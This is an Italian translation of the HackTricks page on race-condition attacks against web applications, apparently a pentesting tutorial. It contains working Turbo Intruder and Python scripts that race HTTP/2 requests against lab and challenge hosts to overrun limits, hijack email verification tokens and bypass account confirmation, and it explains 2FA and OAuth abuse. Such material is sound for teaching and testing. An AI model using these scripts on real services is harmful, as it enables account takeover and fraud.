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hacktricks/pentesting-web/race-condition.md

22 KiB
Raw Blame History

Condizione di Gara


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Altri modi per supportare HackTricks:

{% hint style="warning" %} Per ottenere una comprensione approfondita di questa tecnica, controlla il report originale su https://portswigger.net/research/smashing-the-state-machine {% endhint %}

Potenziare gli Attacchi di Condizione di Gara

L'ostacolo principale nel sfruttare le condizioni di gara è assicurarsi che più richieste siano gestite contemporaneamente, con molto poco differenza nei tempi di elaborazione—idealmente, inferiore a 1ms.

Qui puoi trovare alcune tecniche per Sincronizzare le Richieste:

Attacco a Pacchetto Singolo HTTP/2 vs. Sincronizzazione Ultimo Byte HTTP/1.1

  • HTTP/2: Supporta l'invio di due richieste su una singola connessione TCP, riducendo l'impatto della variazione della rete. Tuttavia, a causa delle variazioni lato server, due richieste potrebbero non essere sufficienti per uno sfruttamento coerente della condizione di gara.
  • HTTP/1.1 'Ultimo Byte Sync': Consente di inviare in anticipo la maggior parte delle parti di 20-30 richieste, trattenendo un piccolo frammento, che viene quindi inviato insieme, raggiungendo un arrivo simultaneo al server.

La Preparazione per l'Ultimo Byte Sync coinvolge:

  1. Invio di intestazioni e dati del corpo meno l'ultimo byte senza terminare lo stream.
  2. Pausa di 100ms dopo l'invio iniziale.
  3. Disabilitazione di TCP_NODELAY per utilizzare l'algoritmo di Nagle per l'invio di frame finali in batch.
  4. Pinging per riscaldare la connessione.

L'invio successivo dei frame trattenuti dovrebbe risultare nel loro arrivo in un singolo pacchetto, verificabile tramite Wireshark. Questo metodo non si applica ai file statici, che di solito non sono coinvolti negli attacchi RC.

Adattamento all'Architettura del Server

Comprendere l'architettura del target è cruciale. I server front-end potrebbero instradare le richieste in modo diverso, influenzando i tempi. Il riscaldamento preventivo della connessione lato server, attraverso richieste insignificanti, potrebbe normalizzare i tempi delle richieste.

Gestione del Blocco Basato sulla Sessione

Framework come il gestore di sessioni di PHP serializzano le richieste per sessione, oscurando potenzialmente le vulnerabilità. Utilizzare token di sessione diversi per ogni richiesta può aggirare questo problema.

Superare Limiti di Velocità o Risorse

Se il riscaldamento della connessione non è efficace, innescare intenzionalmente i ritardi dei limiti di velocità o risorse dei server web attraverso un diluvio di richieste fasulle potrebbe agevolare l'attacco a pacchetto singolo inducendo un ritardo lato server favorevole alle condizioni di gara.

Esempi di Attacco

  • Tubo Intruder - Attacco a pacchetto singolo HTTP2 (1 endpoint): Puoi inviare la richiesta a Turbo intruder (Estensioni -> Turbo Intruder -> Invia a Turbo Intruder), puoi modificare nella richiesta il valore su cui effettuare il brute force per %s come in csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s e quindi selezionare il esempi/race-single-packer-attack.py dal menu a discesa:

Se stai per inviare valori diversi, potresti modificare il codice con questo che utilizza un elenco di parole dagli appunti:

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

{% hint style="warning" %} Se il web non supporta HTTP2 (solo HTTP1.1) utilizzare Engine.THREADED o Engine.BURP invece di Engine.BURP2. {% endhint %}

  • Tubo Intruder - Attacco a singolo pacchetto HTTP2 (Diversi endpoint): Nel caso in cui sia necessario inviare una richiesta a 1 endpoint e poi a più endpoint per attivare il RCE, è possibile modificare lo script race-single-packet-attack.py con qualcosa del genere:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • È disponibile anche in Repeater tramite la nuova opzione 'Invia gruppo in parallelo' in Burp Suite.
  • Per limit-overrun potresti semplicemente aggiungere la stessa richiesta 50 volte nel gruppo.
  • Per il riscaldamento della connessione, potresti aggiungere all'inizio del gruppo alcune richieste a una parte non statica del server web.
  • Per ritardare il processo tra l'elaborazione di una richiesta e un'altra in 2 passaggi di sotto-stati, potresti aggiungere richieste extra tra entrambe le richieste.
  • Per un RC multi-endpoint potresti iniziare inviando la richiesta che va allo stato nascosto e poi 50 richieste subito dopo che sfruttano lo stato nascosto.
  • Script Python automatizzato: L'obiettivo di questo script è cambiare l'email di un utente verificandola continuamente fino a quando il token di verifica della nuova email arriva all'ultima email (questo perché nel codice era presente un RC in cui era possibile modificare un'email ma ricevere la verifica sulla vecchia perché la variabile che indicava l'email era già popolata con la prima).
    Quando la parola "objetivo" viene trovata nelle email ricevute, sappiamo di aver ricevuto il token di verifica dell'email modificata e terminiamo l'attacco.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)




# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Raw BF

Prima della ricerca precedente, questi erano alcuni payload utilizzati che cercavano semplicemente di inviare i pacchetti il più velocemente possibile per causare una RC.

  • Repeater: Controlla gli esempi della sezione precedente.
  • Intruder: Invia la richiesta a Intruder, imposta il numero di thread su 30 all'interno del menu Opzioni e seleziona come payload Null payloads e genera 30.
  • Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

Metodologia RC

Sovraccarico del limite / TOCTOU

Questo è il tipo più basilare di race condition in cui vulnerabilità che appaiono in luoghi che limitano il numero di volte in cui puoi eseguire un'azione. Come utilizzare lo stesso codice sconto in un negozio online più volte. Un esempio molto semplice si trova in questo rapporto o in questo bug.

Ci sono molte variazioni di questo tipo di attacco, tra cui:

  • Riscattare una carta regalo più volte
  • Valutare un prodotto più volte
  • Prelevare o trasferire denaro in eccesso rispetto al saldo del tuo account
  • Riutilizzare una singola soluzione CAPTCHA
  • Superare un limite di velocità anti-bruteforce

Sottostati nascosti

Sfruttare race condition complesse spesso implica approfittare di brevi opportunità per interagire con sottostati nascosti o non intenzionali della macchina. Ecco come affrontare questo:

  1. Identificare i potenziali sottostati nascosti
  • Inizia individuando i punti finali che modificano o interagiscono con dati critici, come i profili utente o i processi di reimpostazione della password. Concentrati su:
  • Archiviazione: Preferisci i punti finali che manipolano dati persistenti lato server rispetto a quelli che gestiscono dati lato client.
  • Azione: Cerca operazioni che modificano dati esistenti, che sono più suscettibili di creare condizioni sfruttabili rispetto a quelle che aggiungono nuovi dati.
  • Chiave: Gli attacchi riusciti di solito coinvolgono operazioni basate sulla stessa identificazione, ad esempio nome utente o token di reimpostazione.
  1. Condurre una Sondaggio Iniziale
  • Testa i punti finali identificati con attacchi di race condition, osservando eventuali deviazioni dagli esiti attesi. Risposte inaspettate o cambiamenti nel comportamento dell'applicazione possono segnalare una vulnerabilità.
  1. Dimostrare la Vulnerabilità
  • Riduci l'attacco al numero minimo di richieste necessarie per sfruttare la vulnerabilità, spesso solo due. Questo passaggio potrebbe richiedere tentativi multipli o automazione a causa del tempismo preciso coinvolto.

Attacchi Sensibili al Tempo

La precisione nel tempismo delle richieste può rivelare vulnerabilità, specialmente quando vengono utilizzati metodi prevedibili come i timestamp per i token di sicurezza. Ad esempio, generare token di reimpostazione della password basati su timestamp potrebbe consentire token identici per richieste simultanee.

Per Sfruttare:

  • Utilizza un tempismo preciso, come un attacco a pacchetto singolo, per effettuare richieste di reimpostazione della password simultanee. I token identici indicano una vulnerabilità.

Esempio:

  • Richiedi due token di reimpostazione della password contemporaneamente e confrontali. I token corrispondenti suggeriscono un difetto nella generazione del token.

Controlla questo Laboratorio di PortSwigger per provarlo.

Studi di caso sui sottostati nascosti

Pagare e aggiungere un articolo

Controlla questo Laboratorio di PortSwigger per vedere come pagare in un negozio e aggiungere un extra articolo che non dovrai pagare.

Confermare altri indirizzi email

L'idea è verificare un indirizzo email e cambiarlo contemporaneamente con un altro per scoprire se la piattaforma verifica il nuovo cambiato.

Cambiare l'email in 2 indirizzi email basati su Cookie

Secondo questa ricerca Gitlab era vulnerabile a un takeover in questo modo perché potrebbe inviare il token di verifica dell'email di un'email all'altra email.

Controlla questo Laboratorio di PortSwigger per provarlo.

Stati nascosti del database / Bypass di conferma

Se vengono utilizzate 2 scritture diverse per aggiungere informazioni all'interno di un database, c'è un breve periodo di tempo in cui solo il primo dato è stato scritto all'interno del database. Ad esempio, quando si crea un utente il nome utente e la password potrebbero essere scritti e poi il token per confermare il nuovo account creato viene scritto. Ciò significa che per un breve periodo il token per confermare un account è nullo.

Pertanto registrare un account e inviare diverse richieste con un token vuoto (token= o token[]= o qualsiasi altra variazione) per confermare immediatamente l'account potrebbe consentire di confermare un account di cui non si controlla l'email.

Controlla questo Laboratorio di PortSwigger per provarlo.

Bypass 2FA

Il seguente pseudo-codice è vulnerabile alla race condition perché in un periodo di tempo molto breve il 2FA non è applicato mentre la sessione viene creata:

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

Persistenza eterna di OAuth2

Ci sono diversi fornitori di OAuth. Questi servizi ti permetteranno di creare un'applicazione e autenticare gli utenti che il fornitore ha registrato. Per farlo, il client dovrà permettere alla tua applicazione di accedere ad alcuni dei loro dati all'interno del fornitore di OAuth.
Quindi, fino a questo punto è solo un normale accesso con google/linkedin/github... dove ti viene chiesto su una pagina: "L'applicazione <InsertCoolName> vuole accedere alle tue informazioni, vuoi permetterlo?"

Condizione di gara in authorization_code

Il problema appare quando tu accetti e invii automaticamente un authorization_code all'applicazione maliziosa. Quindi, questa applicazione sfrutta una Condizione di Gara nel fornitore di servizi OAuth per generare più di un AT/RT (Authentication Token/Refresh Token) dal authorization_code per il tuo account. Fondamentalmente, sfrutterà il fatto che hai accettato l'applicazione per accedere ai tuoi dati per creare diversi account. Quindi, se smetti di permettere all'applicazione di accedere ai tuoi dati, una coppia di AT/RT verrà eliminata, ma le altre saranno ancora valide.

Condizione di gara in Refresh Token

Una volta che hai ottenuto un RT valido potresti provare a sfruttarlo per generare diversi AT/RT e anche se l'utente cancella le autorizzazioni per l'applicazione maliziosa di accedere ai suoi dati, diversi RT saranno ancora validi.

CG in WebSockets

In WS_RaceCondition_PoC puoi trovare un PoC in Java per inviare messaggi websocket in parallelo per sfruttare Condizioni di Gara anche nei Web Sockets.

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

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